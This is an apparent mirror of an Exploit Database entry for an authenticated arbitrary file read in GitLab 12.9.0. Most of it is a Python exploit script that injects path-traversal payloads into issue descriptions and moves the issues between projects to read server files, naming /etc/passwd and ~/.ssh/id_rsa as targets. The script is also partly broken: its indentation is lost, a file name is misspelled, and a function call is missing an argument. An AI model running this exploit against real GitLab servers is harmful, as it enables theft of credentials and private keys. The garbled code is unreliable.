Gitlab 12.9.0 – Arbitrary File Read (Authenticated)

• Exploit Database
• 19 阅读

• 作者： Jasper Rasenberg
  日期： 2020-11-19
• 类别：

  • webapps
  平台：

  • ruby
• 来源：https://www.exploit-db.com/exploits/49076/

• # Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
  # Google Dork: -
  # Date: 11/15/2020
  # Exploit Author: Jasper Rasenberg
  # Vendor Homepage: https://about.gitlab.com
  # Software Link: https://about.gitlab.com/install
  # Version: tested on gitlab version 12.9.0
  # Tested on: Kali Linux 2020.3
  
  
  
  #You can create as many personal access tokens as you like from your GitLab profile.
  # Sign in to GitLab.
  #In the upper-right corner, click your avatar and select Settings.
  #On the User Settings menu, select Access Tokens.
  #Choose a name and optional expiry date for the token.
  #Choose the desired scopes.
  #Click the Create personal access token button.
  #Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.
  
  # REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html
  
  # pip3 install gitlab
  # pip3 install requests
  # Use a client cert to verify SSL or set to False
  
  import os
  import requests
  import json
  from time import sleep
  from gitlab import *
  
  session = requests.Session()
  session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False
  
  host = ''
  
  def exploit(projectName, issueTitle, files, token):
  
  gl = Gitlab(host, private_token=token, session=session)
  gl.auth()
  p1 = gl.projects.create({'name': f"{projectName}-1"})
  p2 = gl.projects.create({'name': f"{projectName}-2"})
  
  for i, f in enumerate(files):
  stripped_f = f.rstrip('\n')
  issue = p1.issues.create({ \
  'title': f"{issueTitle}-{i}",
  'description': \
  "![a](/uploads/11111111111111111111111111111111/"\
  f"../../../../../../../../../../../../../..{stripped_f})"})
  print(issue.description)
  sleep(3)
  try:
  issue.move(p2.id)
  except Exception as e:
  pass
  sleep(3)
  
  if __name__ == "__main__":
  
   write_files = ['/etc/passwd', '~/.ssh/id_rsa']
   with open('senstive_files', 'w') as sens:
   for file in write_files:
   sens.write(file)
  
  files = list(open('sensitive_files', 'r'))
  exploit('project-1', 'issue-1', files)